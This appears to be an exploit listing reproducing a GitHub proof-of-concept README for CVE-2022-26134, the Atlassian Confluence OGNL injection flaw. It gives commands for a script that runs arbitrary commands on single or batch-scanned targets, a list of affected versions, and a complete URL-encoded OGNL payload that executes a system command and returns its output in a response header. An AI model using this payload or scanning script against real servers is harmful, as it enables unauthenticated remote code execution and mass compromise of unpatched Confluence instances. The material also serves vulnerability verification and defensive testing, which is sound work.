Exploit for Expression Language Injection in Atlassian Confluence Data Center

## https://sploitus.com/exploit?id=AFDDFBE2-17E6-5231-9333-FAD2E18813C5
CVE-2022-26134 – Confluence OGNL injection vulnerability  

# Script usage  
Install the Python library  
pip install -r requirements.txt  

Vulnerability verification:  
python3 CVE-2022-26134_check.py -u url -c whoami  

![Image](https://github.com/yTxZx/CVE-2022-26134/assets/100921463/f272f24b-5883-4851-ad59-dd39b3b4d30c)  

Batch scanning:  
python3 CVE-2022-26134_check.py -f url.txt -c whoami  

![Image](https://github.com/yTxZx/CVE-2022-26134/assets/100921463/3e2b851f-cf8c-43cd-a635-cf0b4cafbd35)  

# Affected versions  
Confluence Server and Data Center >= 1.3.0  
Confluence Server and Data Center < 7.4.17  
Confluence Server and Data Center < 7.13.7  
Confluence Server and Data Center < 7.14.3  
Confluence Server and Data Center < 7.15.2  
Confluence Server and Data Center < 7.16.4  
Confluence Server and Data Center < 7.17.4  
Confluence Server and Data Center < 7.18.1  

# Vulnerability reproduction  
Payload:  
/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Qualys-Response%22%2C%23a%29%29%7D/  

Access the Confluence service, capture a data packet with a return code of 302, send a packet containing the payload. The X-Qualys-Response parameter in the returned packet will contain the current server username.  

![Image](https://github.com/yTxZx/CVE-2022-26134/assets/100921463/eced3f62-aced-4d67-8678-e7eba15f08af)  

# Vulnerability mechanism  
The URI provided by the attacker will be converted into a namespace, and then that namespace will be evaluated using OGNL expressions (the attacker’s URL is indirectly converted into an OGNL expression for evaluation).